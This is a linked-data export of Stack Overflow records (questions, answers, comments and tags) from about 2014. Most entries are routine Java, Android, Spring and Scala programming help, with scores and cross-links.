has body: Note that you are reading data from a stream. This means that you will have to implement recovery of the commands' structure yourself, i.e. you must at least detect the beginning and end of a command in your own code. This again leads to another problem: You have no guarantee about how your stream's data is split into "chunks" by the transport layer. You may receive one command plus half a command in one read(buffer) call and then the second half of the command plus some more data in the next read(buffer). Therefore, what I recommend is that you keep reading data only until you detect the end of one message/command/whatever and then perform handling for only this single message, before reading more incoming data and repeating. Everything else (i.e. dealing with partially received messages) easily becomes messy.
has comment: http://stackoverflow.com/comment/33704259
type: Answer

http://stackoverflow.com/q/22198624
type: AnsweredQuestion
tagged with: java
has answer: http://stackoverflow.com/a/22199382
type: Question
possible better answer: http://stackoverflow.com/a/22199382
accepted answer: http://stackoverflow.com/a/22199228
has title: How to put a spring web service online?
score: 0
answer count: 2
has body: I am completely new to web services. I am trying to learn Spring. I did the tutorial to implement a simple web service with spring as given in the following link Spring Restful Web Service Tutorial. It worked fine in localhost, but my question is how can I publish this web service on any hosting server? I mean with this, to access the web service over the internet with a URL instead of localhost! Thanks for your helps
has answer: http://stackoverflow.com/a/22199228
tagged with: web-services
tagged with: spring

http://stackoverflow.com/a/22197529
has body: When you create an ArrayList, you need to define the type of objects that it will contain: in the first example, you create an ArrayList that will contain Lists of unknown generic types, but they will all be Lists. in the second example, you try to create an ArrayList of unknown type, which is not allowed.
type: Answer
upvote count: 3
downvote count: 0
answers question: http://stackoverflow.com/q/22197396
score: 3

http://stackoverflow.com/a/22305055
has body: Any exception can be easily handled using try-catch. try{ String Jobvalue = driver.findElement(By.xpath("//label[@for='ctl00_ContentPlaceHolder1_RadPanelBar1_i0_chkColumns_5']")).getText(); Assert.assertEquals(Jobvalue, "Job Value ($)"); } catch() { //Write your code here about failing the test }
score: 0
type: Answer
answers question: http://stackoverflow.com/q/22296023

http://stackoverflow.com/comment/33769524
comment on: http://stackoverflow.com/a/22236998
has text: @Radiodef That's a good catch. The specification for the package clearly states that these variables support "lock-free thread-safe programming on single variables."
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/comment/33723507
type: AnswerComment
has text: The shorter version of the loop, called an enhanced for loop, allows for iteration over an array or collection without maintaining a counter variable. It's called syntactical sugar; it's a quicker way to do something. Suit yourself ;)
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22212037

http://stackoverflow.com/comment/33786915
has text: @raj Its JPEG data other side
comment on: http://stackoverflow.com/q/22245287
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/q/22248619
answer count: 0
score: 1
tagged with: java
type: Question
downvote count: 0
tagged with: openssl
has title: bf-ecb encrypt with openssl the same way as in Java
favorite count: 0
type: UnansweredQuestion
upvote count: 1
has body: An encryption is done in a legacy Java system as : Cipher cipher = Cipher.getInstance("Blowfish/ECB/NoPadding"); cipher.init(1, new SecretKeySpec(theKey.getBytes(), "BlowFish")); byte[] arrayOfByte = cipher.doFinal(inputString.getBytes()); String result = new BASE64Encoder().encode(arrayOfByte); I am trying to replicate it with openssl, but I don't get the same output. I am trying: openssl enc -base64 -A -bf-ecb -nosalt -in input -pass pass:secret

http://stackoverflow.com/a/22200594
upvote count: 1
answers question: http://stackoverflow.com/q/22200555
score: 1
downvote count: 0
type: Answer
has body: Yes, ArrayList has a constructor that takes a Collection (which Vector obviously is) to do so: ArrayList(Collection&lt;? extends E&gt; c)

http://stackoverflow.com/comment/33927631
comment on: http://stackoverflow.com/a/22325035
has text: This helps a lot. It seems that as beginners, the textbook authors have us list them at the beginning of the main. However, I make that generalization based on 2 textbooks from 2 classes.
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/q/22228090
upvote count: 2
tagged with: onclick
tagged with: java
has body: I'm Developing an android app in which the Questionnaire activity contains Questions which as radio Buttons and also a Button.So when the button is pressed I've to check whether all the Questions are answered.if the Question is not answered then a alert message should pop up stating that the particular Question no is not answered.Can anyone please help me with the java code. Thanks in Advance. &lt;RadioGroup android:id="@+id/Mquestion1" android:layout_width="wrap_content" android:layout_height="wrap_content"&gt; &lt;RadioButton android:id="@+id/radioButton1" android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="@string/MQ1_1_rb1" /&gt; &lt;RadioButton android:id="@+id/radioButton2" android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="@string/MQ1_1_rb2" /&gt; &lt;RadioButton android:id="@+id/radioButton3" android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="@string/MQ1_1_rb3" /&gt; &lt;/RadioGroup&gt; &lt;TextView android:id="@+id/textView3" android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="@string/MQ1_2_view" android:textAppearance="?android:attr/textAppearanceSmall" /&gt; &lt;RadioGroup android:id="@+id/Mquestion2" android:layout_width="wrap_content" android:layout_height="wrap_content"&gt; &lt;RadioButton android:id="@+id/radioButton4" android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="@string/MQ1_2_rb1" /&gt; &lt;RadioButton android:id="@+id/radioButton5" android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="@string/MQ1_2_rb2" /&gt; &lt;RadioButton android:id="@+id/radioButton6" android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="@string/MQ1_2_rb3" /&gt; &lt;/RadioGroup&gt; &lt;TextView android:id="@+id/textView4" android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="@string/MQ1_3_view" androi…
has title: How to check if radio buttons are selected on button click?
type: Question
has comment: http://stackoverflow.com/comment/33752337
linked to: http://stackoverflow.com/q/10263778
possible better answer: http://stackoverflow.com/a/22228635
has answer: http://stackoverflow.com/a/22228635
answer count: 2
has answer: http://stackoverflow.com/a/22228429
score: 2
tagged with: radio-button
downvote count: 0
favorite count: 0
tagged with: android
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/22228429
tagged with: onclicklistener

http://stackoverflow.com/comment/33868539
type: AnswerComment
comment on: http://stackoverflow.com/a/22279703
score: 0
type: Comment
has text: hey, feedback is appreciated nevertheless! It made me go back and double check, so that's good. :)

http://stackoverflow.com/a/22269487
has body: If you do not add a required field to your post you get 400 Bad request error for missing required field. For an exact answer you should show logs of Solr under log folder at Solr home.
answers question: http://stackoverflow.com/q/22260265
type: Answer
downvote count: 1
score: -1
upvote count: 0

http://stackoverflow.com/comment/33710659
has text: @DonBranson, that sounds good too. what I had in mind is - Runnable only writes to files. pass the list to the Runnable. submit the Runnable to SingleThreadExecutor. That solves the problem of not performing IO in synchronized block. I saw your reply, looks good. thanks for your time.
comment on: http://stackoverflow.com/a/22202207
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/comment/33776818
comment on: http://stackoverflow.com/q/22241502
type: Comment
type: QuestionComment
has text: Not your fault, but I despair of professors who set an assignment, then forbid the students from doing the assignment the correct way.
score: 0

http://stackoverflow.com/q/22177316
tagged with: arraylist
upvote count: 3
has answer: http://stackoverflow.com/a/22177543
has title: How to read doubles from .txt file into an ArrayList
answer count: 4
favorite count: 0
has body: I'm trying to read doubles from a file that contains 100,000 doubles, arranged in lines of two doubles each separated by a space. Like this: 2.54343 5.67478 1.23414 5.43245 7.64748 4.25536 ... My code so far: Scanner numFile = new Scanner(new File("input100K.txt").getAbsolutePath()); ArrayList&lt;Double&gt; list = new ArrayList&lt;Double&gt;(); while (numFile.hasNextLine()) { String line = numFile.nextLine(); Scanner sc = new Scanner(line); sc.useDelimiter(" "); while(sc.hasNextDouble()) { list.add(sc.nextDouble()); } sc.close(); } numFile.close(); System.out.println(list); } After this code runs, it prints to the console and empty ArrayList [], and I can't figure out why. Removing the getAbsolutePath() from the file gives me this line: Scanner numFile = new Scanner(new File("input100K.txt")); but when I run the program, it is giving me a FileNotFoundException. I know the file exists, I can see it and open it. input100K.txt is located in the src package folder along with the program. is there somewhere specific where the file must be for this to work? EDIT: As Evgeniy Dorofeev pointed out, the file needs to be in the project folder (parent of src folder) for the program to find it.
has comment: http://stackoverflow.com/comment/33660673
tagged with: java.util.scanner
has answer: http://stackoverflow.com/a/22177937
type: AnsweredQuestion
score: 3
has comment: http://stackoverflow.com/comment/33660624
tagged with: java
possible better answer: http://stackoverflow.com/a/22177543
type: Question
accepted answer: http://stackoverflow.com/a/22177535
has answer: http://stackoverflow.com/a/22177654
downvote count: 0
has answer: http://stackoverflow.com/a/22177535

http://stackoverflow.com/comment/34067104
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22401899
has text: @spoderman69 No, you have to create the loop - we return to the same point after every move. Repair and put it as a question, please.

http://stackoverflow.com/q/22314972
has answer: http://stackoverflow.com/a/22315046
tagged with: java
type: Question
possible better answer: http://stackoverflow.com/a/22315046
accepted answer: http://stackoverflow.com/a/22315075
has title: finding part of the text and writing to another file
has answer: http://stackoverflow.com/a/22316098
score: 0
answer count: 3
has comment: http://stackoverflow.com/comment/33910385
has comment: http://stackoverflow.com/comment/33909419
has answer: http://stackoverflow.com/a/22315075
tagged with: text
type: AnsweredQuestion
has body: I have trouble finding part of text. I tried using indexOf but it was of no help as it just copying everything over to the new file. I want to copy distinct lines with ".com.jp" and write them to a new file here is my code if(string.indexOf(".com.jp") &gt; -1) { bufferedWriter.write(string); bufferedWriter.write("\t"); System.out.println(string); }

http://stackoverflow.com/comment/33890091
type: QuestionComment
has text: As I understood it you are going to need the generated id of A to store B. Then why not insert A without a batch and insert B within a batch? That will give you a single iteration over the XML. But in the end it goes all down to the size of the XML, you db performance, the objects sizes etc... So hard to give concrete advice from here.
score: 0
type: Comment
comment on: http://stackoverflow.com/q/22304487

http://stackoverflow.com/a/22186678
has body: The fix was adding this to my onClickListener: HashMap&lt;String, Object&gt; currentimg = (HashMap&lt;String, Object&gt;) adapter.getItem(position); String imgURI = currentimg.get("event_img").toString(); Apparently, my HashMap was already public, and with a little reading and research, I learned about how to implement HashMap's. You can also toast the imgURI string to verify what the Map contains.
has comment: http://stackoverflow.com/comment/33710274
score: 0
answers question: http://stackoverflow.com/q/22181403
type: Answer
has comment: http://stackoverflow.com/comment/33710994

http://stackoverflow.com/q/22325005
tagged with: parsing
favorite count: 0
has comment: http://stackoverflow.com/comment/33926188
type: UnansweredQuestion
tagged with: regex
has title: Intelligent String Parsing in java
tagged with: java.util.scanner
tagged with: java
downvote count: 1
type: Question
tagged with: split
has answer: http://stackoverflow.com/a/22325877
score: 0
has comment: http://stackoverflow.com/comment/125384641
upvote count: 1
has body: I have an email Subject line that i need to parse. I need to find first occurance of any word given in a list of words and get the next word which can be separated by ('=' or ',' or ';' or 'blank' or '.'). for example list of word for customer ["customer","client","kunden","kd.nr."] list of word for Order ["order","auftrag","auftragsnummer","auftragnr."] separator : [= , ; .] subjectline: Customer 2013ABC has send an Aufrag 2056899A for Motif=A I need to parse the information like customer=2013ABC order=2056899A Motif=A I am using Java 7 so Scanner class can be used as well. Thanks for any tips in advance
answer count: 1

http://stackoverflow.com/comment/33896044
comment on: http://stackoverflow.com/a/22306773
type: AnswerComment
score: 0
type: Comment
has text: can you explain what you mean by opening the fragment and editing?

http://stackoverflow.com/comment/33872979
type: QuestionComment
has text: Is this a Mac? The Java 7 on the Mac does not support 32 bit.
comment on: http://stackoverflow.com/q/22291815
score: 2
type: Comment

http://stackoverflow.com/q/22326796
downvote count: 0
has comment: http://stackoverflow.com/comment/33931420
has title: Android download file get corrupted
has answer: http://stackoverflow.com/a/22327083
tagged with: android
answer count: 1
has comment: http://stackoverflow.com/comment/33929652
favorite count: 0
tagged with: download
upvote count: 2
accepted answer: http://stackoverflow.com/a/22327083
type: AnsweredQuestion
score: 2
tagged with: java
type: Question
has comment: http://stackoverflow.com/comment/33930005
has body: btnShowProgress.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { try { download(); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } } }); } public void download() throws IOException { URL url = new URL("URL"); HttpURLConnection c = (HttpURLConnection) url.openConnection(); c.setRequestMethod("GET"); c.setDoOutput(true); c.connect(); String PATH = Environment.getExternalStorageDirectory() + "/download/"; File file = new File(PATH); file.mkdirs(); String fileName = "Dragonfly"; File outputFile = new File(file, fileName); FileOutputStream fos = new FileOutputStream(outputFile); InputStream is = c.getInputStream(); byte[] buffer = new byte[1024]; int len1 = 0; while ((len1 = is.read(buffer)) &gt; 0) { fos.write(buffer, 0, len1); } fos.flush(); fos.close(); is.close(); I use the code to download a file from own server, but file always get downloaded with 9,3KB (even if file have lower size, like 2KB) and cant open the file.
has comment: http://stackoverflow.com/comment/33929617

http://stackoverflow.com/a/48679931
has comment: http://stackoverflow.com/comment/88065972
type: Answer
score: 5
upvote count: 5
has comment: http://stackoverflow.com/comment/128003533
answers question: http://stackoverflow.com/q/22268898
has body: As of the date of writing, none of the answers replace properly. Gagravars answer does not include cases where words to replace are split in runs; Thierry Boduins solution sometimes left words to replace blank when they were after other words to replace, also it does not check tables. Using Gagtavars answer as base I have also checked the run before current run if the text of both runs contain the word to replace, adding else block. My addition in kotlin: if (text != null) { if (text.contains(findText)) { text = text.replace(findText, replaceText) r.setText(text, 0) } else if (i &gt; 0 &amp;&amp; p.runs[i - 1].getText(0).plus(text).contains(findText)) { val pos = p.runs[i - 1].getText(0).indexOf('$') text = textOfNotFullSecondRun(text, findText) r.setText(text, 0) val findTextLengthInFirstRun = findTextPartInFirstRun(p.runs[i - 1].getText(0), findText) val prevRunText = p.runs[i - 1].getText(0).replaceRange(pos, findTextLengthInFirstRun, replaceText) p.runs[i - 1].setText(prevRunText, 0) } } private fun textOfNotFullSecondRun(text: String, findText: String): String { return if (!text.contains(findText)) { textOfNotFullSecondRun(text, findText.drop(1)) } else { text.replace(findText, "") } } private fun findTextPartInFirstRun(text: String, findText: String): Int { return if (text.contains(findText)) { findText.length } else { findTextPartInFirstRun(text, findText.dropLast(1)) } } it is the list of runs in a paragraph. Same with the search block in the table. With this solution I did not have any issues yet. All formatting is intact. Edit: I made a java lib for replacing, check it out: https://github.com/deividasstr/docx-word-replacer
downvote count: 0

http://stackoverflow.com/comment/33817593
score: 0
type: Comment
type: QuestionComment
has text: How do you know 1. it successfully connects to the screen session and 2. the java command never runs?
comment on: http://stackoverflow.com/q/22263500

http://stackoverflow.com/comment/33778954
type: QuestionComment
comment on: http://stackoverflow.com/q/22242771
has text: Please share your code.
score: 0
type: Comment

http://stackoverflow.com/q/22224825
downvote count: 0
score: 1
tagged with: java
type: Question
has answer: http://stackoverflow.com/a/22225521
has body: Below snippet is to find the sign(+/-) of number without using &gt; or &lt; conditional operators basically! Scanner s = new Scanner(System.in); int n = s.nextInt(); /**take user input / /* stretch user input to either of infinity */ n *= Double.NEGATIVE_INFINITY; /* compare the result now */ if(n == Double.NEGATIVE_INFINITY) { System.out.println("number is positive "); } else if (n == Double.POSITIVE_INFINITY ) { System.out.println("number is negative" ); } else { System.out.println("could not determine number type!!" ); } I even added System.out.println("nmbr and negtive infinity is : "+n+" "+Double.NEGATIVE_INFINITY); for user input : -12, it shows : /* Ideally it should be "Infinity -Infinity" according to me */ nmbr and negtive infinity is : 2147483647 -Infinity after doing the multiplication to see the resultant value, but for some reason. i dont get the nmbr equal to any infinite value 2 questions : when taking int type input, is it getting promoted to double type on multiplication?? whats wrong with the above logic?? , i am always getting output : could not determine number type!!
has answer: http://stackoverflow.com/a/22227485
has comment: http://stackoverflow.com/comment/33745230
has answer: http://stackoverflow.com/a/22225131
accepted answer: http://stackoverflow.com/a/22225131
has comment: http://stackoverflow.com/comment/33746045
has comment: http://stackoverflow.com/comment/33748304
upvote count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/33745326
possible better answer: http://stackoverflow.com/a/22225521
has answer: http://stackoverflow.com/a/22225510
has comment: http://stackoverflow.com/comment/33748801
has title: Error in determine positive\negative number in JAVA
has comment: http://stackoverflow.com/comment/33745214
answer count: 4
type: AnsweredQuestion

http://stackoverflow.com/q/22245076
tagged with: runtime
answer count: 1
score: 0
has comment: http://stackoverflow.com/comment/33783523
tagged with: porting
has comment: http://stackoverflow.com/comment/33785135
has comment: http://stackoverflow.com/comment/33782813
has answer: http://stackoverflow.com/a/22245145
accepted answer: http://stackoverflow.com/a/22245145
has comment: http://stackoverflow.com/comment/33783194
has comment: http://stackoverflow.com/comment/33782954
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/33782977
tagged with: java
tagged with: headless
has comment: http://stackoverflow.com/comment/33785778
has comment: http://stackoverflow.com/comment/33782834
type: Question
has body: Where can I find the headless version of JDK7 for the linux-i586 architectures? I couldn't find anything on Oracle's page, maybe I am just blind, or there is no such pre-compiled JDK... The purpose is that I want to port the runtime library of the JDK to a operating system with a custom JVM, and I think this should be the one suiting best for my needs.
has title: Headless JDK7 for embedding

http://stackoverflow.com/comment/33671954
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/22183354
has text: Why do you sleep at all in the reader thread?
score: 0

http://stackoverflow.com/comment/33738865
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22220936
has text: `UseCompressedOops` is turned on by default. So `-XX:+UseCompressedOops` is basically a no-op.
score: 0

http://stackoverflow.com/a/22200137
answers question: http://stackoverflow.com/q/22199729
upvote count: 5
has body: If you don't need entities with null values, you can use this: Filter filter = new FilterPredicate(PROPERTY, FilterOperator.NOT_EQUAL, null); It may look simpler, but NOT_EQUAL filter actually results in two separate queries - just as your solution, unless App Engine is smart about null values - that I don't know.
downvote count: 0
type: Answer
score: 5

http://stackoverflow.com/a/22299898
answers question: http://stackoverflow.com/q/22299485
score: 1
upvote count: 1
has body: So it appears that the items in that rowset are actually attributes, hence when getting the ChildText did not work, so I used String name = node.getAttributeValue("name"); allowed me to get the names, all the other code was correct. xml attribute Web definitions In XML, a designation that represents a combination of a name and value and is used to provide additional information about an XML element, for example, &lt;FONT SIZE=2&gt;. In this case, FONT is an element and SIZE=2 is an attribute.
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/33882369
accepted answer of: http://stackoverflow.com/q/22299485
type: Answer

http://stackoverflow.com/a/22189880
score: 2
upvote count: 2
has body: Answer 1:- you need to use join() as below :- t2.start(); t2.join(); t1.start(); t1.join(); Answer 2:- refer this link for wait and notify example.
downvote count: 0
answers question: http://stackoverflow.com/q/22189475
type: Answer

http://stackoverflow.com/a/31961918
has body: The best you can do is avoid Red Hat's java altogether. Get your java from Oracle and put it in /opt. Then just create symlink /opt/java -> /opt/jdk-someversion, and create /etc/profile.d/java.sh containing #!/bin/sh export JAVA_HOME=/opt/java export PATH=$JAVA_HOME/bin:$PATH Then, to change system-wide java, just change symlink in opt. To use multiple java versions, use scripts like the above with appropriate JAVA_HOME. Furthermore, /sbin/service script used to run /etc/init.d scripts will rip off environment variables - executes env -i explicitly. So i.e. your tomcat will not get JAVA_HOME, you'll have to create setenv.sh in $CATALINA_BASE/bin. Drawback to this approach is you don't get java updates from Red Hat.
upvote count: 8
type: Answer
downvote count: 2
score: 6
answers question: http://stackoverflow.com/q/22290554

http://stackoverflow.com/comment/33895916
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/22307535
score: 1
has text: @user3178137 The question you need to answer is "_Is there something I can do with this exception at this level?_". For instance, if you can't make any decision in `getFood2()`, but you can decide to display an error message in `getFood()`, then catch it in `getFood()`.

http://stackoverflow.com/comment/33874095
comment on: http://stackoverflow.com/q/22295453
type: Comment
type: QuestionComment
has text: If you passed an object as a parameter and modified its value before throwing an exception, then the object would still be modified.
score: 0

http://stackoverflow.com/a/22169639
upvote count: 1
has body: It seems Java is a valid language for this kind of systems, but it's not trendy enough. Look at this answer from a aeronautics engineer, I think it just what you need to know: you need a JVM with real-time specs. I don't think the way the bytecode is generated is a security problem: any language you use will be compiled and optimized, and surely the JIT feature (optimization in run-time) could be disabled if it would be an issue
has comment: http://stackoverflow.com/comment/33646812
answers question: http://stackoverflow.com/q/22169029
has comment: http://stackoverflow.com/comment/33646991
downvote count: 0
type: Answer
score: 1

http://stackoverflow.com/a/22213448
has body: int total = x*2; instead of int total = x*x;
answers question: http://stackoverflow.com/q/22213387
type: Answer
score: 0

http://stackoverflow.com/comment/33655317
type: QuestionComment
comment on: http://stackoverflow.com/q/22174283
has text: @marcin_j no more...=)
score: 0
type: Comment

icons
tags question: http://stackoverflow.com/q/22188986
tag name: icons
type: Tag
tags question: http://stackoverflow.com/q/22207485

scala
tags question: http://stackoverflow.com/q/22273856
tags question: http://stackoverflow.com/q/22279175
tags question: http://stackoverflow.com/q/22300105
tags question: http://stackoverflow.com/q/22327018
tags question: http://stackoverflow.com/q/22250619
tags question: http://stackoverflow.com/q/22209175
tags question: http://stackoverflow.com/q/22248043
tags question: http://stackoverflow.com/q/22311250
tags question: http://stackoverflow.com/q/22217815
tags question: http://stackoverflow.com/q/22288229
tags question: http://stackoverflow.com/q/22287579
tags question: http://stackoverflow.com/q/22212448
tags question: http://stackoverflow.com/q/22194815
tags question: http://stackoverflow.com/q/22186549
tags question: http://stackoverflow.com/q/22261374
tags question: http://stackoverflow.com/q/22266087
tags question: http://stackoverflow.com/q/22174845
tags question: http://stackoverflow.com/q/22323303
tags question: http://stackoverflow.com/q/22264494
tags question: http://stackoverflow.com/q/22180745
tags question: http://stackoverflow.com/q/22257978
tags question: http://stackoverflow.com/q/22211409
tags question: http://stackoverflow.com/q/22182417
tags question: http://stackoverflow.com/q/22284932
tags question: http://stackoverflow.com/q/22203685
tag name: scala
tags question: http://stackoverflow.com/q/22267831
tags question: http://stackoverflow.com/q/22316941
tags question: http://stackoverflow.com/q/22305186
tags question: http://stackoverflow.com/q/22292202
tags question: http://stackoverflow.com/q/22249681
tags question: http://stackoverflow.com/q/22326703
type: Tag
tags question: http://stackoverflow.com/q/22302837
tags question: http://stackoverflow.com/q/22288813
tags question: http://stackoverflow.com/q/22303363

http://stackoverflow.com/comment/33743435
has text: Thank you for your answer! I'l have a look into it after school.
comment on: http://stackoverflow.com/a/22195457
score: 0
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/55987520
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22309263
has text: A lot of thanks. I didn't have any idea about that. Why hibernate people always deprecating these kind of things and no give information about new implementations (4.1, 4.2, 4.3...).? It's hard having empty javadocs Thank you again!
type: AnswerComment

http://stackoverflow.com/q/22260564
has answer: http://stackoverflow.com/a/22260648
answer count: 3
has comment: http://stackoverflow.com/comment/33811359
possible better answer: http://stackoverflow.com/a/22260648
has answer: http://stackoverflow.com/a/22260619
tagged with: object
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/22260655
tagged with: java
has body: I am trying to use an iterator to find a specific object in my array-list and then add fields to the specific object. I have the fields title and format already added to my object but I need to then add a name and date to a specific object. My class with getters and setters is called MediaItem. The way I currently have it is that the name and date fields are being added into every object. Any help understanding how to make it so that my code is only added to a specific object would be greatly appreciated. public class Library { static ArrayList&lt;MediaItem&gt; items = new ArrayList&lt;MediaItem&gt;(); static void addNewItem(String title, String format) { MediaItem b = new MediaItem(); b.setTitle(title); b.setFormat(format); items.add(b); } static void markItemOnLoan(String title, String name, String date) { Iterator&lt;MediaItem&gt; it = items.iterator(); for (MediaItem mi : items){ it.next(); it.equals(title); mi.setLoanedTo(name); mi.setDateLoaned(date); } } }
type: Question
tagged with: iterator
tagged with: arraylist
accepted answer: http://stackoverflow.com/a/22260655
score: 0
has title: How to use an iterator to find a specific title in an object that is part of an arraylist

w3c
type: Tag
tag name: w3c
tags question: http://stackoverflow.com/q/22226715

http://stackoverflow.com/comment/33909059
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/22312086
has text: Really? Do I need to create a new adapter class to make it work? Also, can you recommend good sites for implementing the search feature. It's just my first time to make an android app.

http://stackoverflow.com/comment/33809809
has text: do you know why its 16? and why its only `4` for `I am preparing`?
type: Comment
comment on: http://stackoverflow.com/a/22259885
score: 0
type: AnswerComment

http://stackoverflow.com/comment/34019395
type: AnswerComment
has text: I used the method as you had send, but it is still returning the same output. Connection class: class org.apache.tomcat.dbcp.dbcp.PoolingDataSource$PoolGuardC onnectionWrapper Connection class name: org.apache.tomcat.dbcp.dbcp.PoolingDataSource$PoolGuardCo nnectionWrapper
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22320510

http://stackoverflow.com/q/22254460
tagged with: eclipse
has comment: http://stackoverflow.com/comment/33802300
has title: debugging with eclipse not showing breakpoints
score: 0
has body: I am debugging an android project. I set a number of breakpoints. Then I go to DDMS (or click debug or debug as). The code is stopping but not in the source. Apparently it is stopping in the byte code of .class files. Basically, the name of the file where it is supposed to break would show up, with a red text "source not found". Does anyone know how to fix this? Yesterday it was on and off: when it comes on like that I would restart eclipse and if I am luck it would work otherwise I would have to restart again. Does anyone know a good stable fix for this? Note that I am using GEP for app-engine connected android project. So I have Java 7 installed for app engine and Java 6 for android. Still, this problem is relatively new. Yesterday it was on and off. Today, no luck at all.
has comment: http://stackoverflow.com/comment/33803156
type: UnansweredQuestion
tagged with: android
tagged with: osx-mountain-lion
answer count: 0
has comment: http://stackoverflow.com/comment/33802802
type: Question
tagged with: debugging
has comment: http://stackoverflow.com/comment/33802794
tagged with: java
has comment: http://stackoverflow.com/comment/33800354

http://stackoverflow.com/q/22264936
type: Question
upvote count: 6
has body: I'm newbies to lucene. i'm trying to do the tutorial here http://www.lucenetutorial.com/lucene-in-5-minutes.html The site is importing: import org.apache.lucene.analysis.standard.StandardAnalyzer; however, on my intellij, I can't find any standard within analysis package. So, I can't really use StandardAnalyzer. do i need to use different jar? the jar i'm using is lucene-core-4.7.0.jar which I imported from lucene-4.7.0/core directory. What am I missing here?
tagged with: lucene
has title: standard.StandardAnalyzer not found in lucene 4.7.0
tagged with: standardanalyzer
tagged with: intellij-idea
answer count: 1
favorite count: 0
score: 6
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/22265111
accepted answer: http://stackoverflow.com/a/22265111
downvote count: 0
tagged with: java

http://stackoverflow.com/q/22281825
score: 0
answer count: 1
has comment: http://stackoverflow.com/comment/33849456
has comment: http://stackoverflow.com/comment/33849382
tagged with: abstract
has comment: http://stackoverflow.com/comment/33849510
has comment: http://stackoverflow.com/comment/33849527
has comment: http://stackoverflow.com/comment/33849345
has comment: http://stackoverflow.com/comment/33849404
type: UnansweredQuestion
has body: import java.awt.*; import java.awt.event.*; import javax.swing.*; /** * This programs counts the cars entering and leaving a car park, always displaying * the current number of cars in the car park. */ public class CarPark extends JFrame implements ActionListener{ /** * Globally accessible counter for the number of cars in the car park */ private int carCount = 0; /** * Globally accessible counter for the number of mini buses in the car park */ private int miniCount = 0; /** * Globally accessible counter for the total amount of spaces left */ private int limitCalc = 100; /** * Buttons to simulate cars entering and leaving the car park. */ private JButton enter, exit, miniEnter, miniExit; /** * Text field where the current number of cars is displayed */ private JTextField text, miniText, carMax; /** * The main launch method */ public static void main(String[] args) { CarPark frame = new CarPark(); frame.setSize(400, 250); frame.setLocation(150, 150); frame.setTitle("Car Park"); frame.createGUI(); frame.setVisible(true); } /** * React to a GUI button press by adjusting the car counter correctly, * and then updating the counter display */ /** * Helper method to build up the GUI */ private void createGUI() { setDefaultCloseOperation(EXIT_ON_CLOSE); Container window = getContentPane(); window.setLayout(new FlowLayout()); int carLimit = 100; enter = new JButton("Car Entering"); window.add(enter); enter.addActionListener(this); text = new JTextField("0 "); text.setFont(new Font("Arial", Font.BOLD, 40)); window.add(text); exit = new JButton("Car Exiting"); window.add(exit); exit.addActionListener(this); miniEnter = new JButton("Minibus Entering"); window.add(miniEnter); miniEnter.addActionListener(this); miniText = new JTextField("0 "); miniText.setFont(new Font("Arial", Font.BOLD, 40)); window.add(miniText); miniExit = new JButton("Minibus Exiting"); window.add(miniExit); miniExit.addActionListener(this); carMax = new JTextField(carLimit + ""); carMax.setFont(new Font("Ari…
tagged with: swing
has answer: http://stackoverflow.com/a/22281885
has comment: http://stackoverflow.com/comment/33849370
tagged with: java
type: Question
has title: CarPark is not an abstract and does not override abstract method (need help)

http://stackoverflow.com/a/22316097
has comment: http://stackoverflow.com/comment/34137776
has comment: http://stackoverflow.com/comment/34051075
has comment: http://stackoverflow.com/comment/34152051
has comment: http://stackoverflow.com/comment/33916498
has comment: http://stackoverflow.com/comment/33911570
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/22315250
has comment: http://stackoverflow.com/comment/34064837
type: Answer
score: 2
upvote count: 2
answers question: http://stackoverflow.com/q/22315250
has body: You have both a channel and a service called ApprovedOrderCreator; the framework is trying to use the channel as a handler for the transformer. You need to give these elements unique names.

http://stackoverflow.com/q/22282359
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33850759
has comment: http://stackoverflow.com/comment/33850446
type: Question
has comment: http://stackoverflow.com/comment/33850296
tagged with: ant
tagged with: java
has comment: http://stackoverflow.com/comment/33851143
has body: I am trying to work on turning JQuery Mobile to android using PhoneGap I have followed the tutorial, Installed Ant, Java JDK, Android SDK and Phone gap When I execute this commnad C:\Android\cordova\cordova-3.0.0\bin&gt;create C:\Android\Project\PhoneGap_example com.test.example projectname I get the following error:: ERROR: executing command 'ant', make sure you have ant installed and add to your path. I have also create the environment variables when I type in echo %ANT_HOME% in my Command prompt (Windows7) I get the path which is correct. But When I type in ant -version, it displays 'ant' is not recoganizd as an internal or external command How can I fix this error
has title: Error: Make sure ant is installed and add to your path error
has comment: http://stackoverflow.com/comment/33852185
score: 0
has comment: http://stackoverflow.com/comment/33850541
has comment: http://stackoverflow.com/comment/33850727
tagged with: android
tagged with: cordova
answer count: 0

http://stackoverflow.com/q/22238402
type: Question
has body: How would I go about adding a space AFTER a specific character in the string has been found? Example.... I'd want to add a space after the "#" character in that string. I'm also wondering how I could get the position I was currently at if there were multiple "#" in my string. (2/9) B (4/3) / # (1/2) (-1/3) (3/2) (-1/11) * * - (1/2) + (2/2)
tagged with: java
score: 0
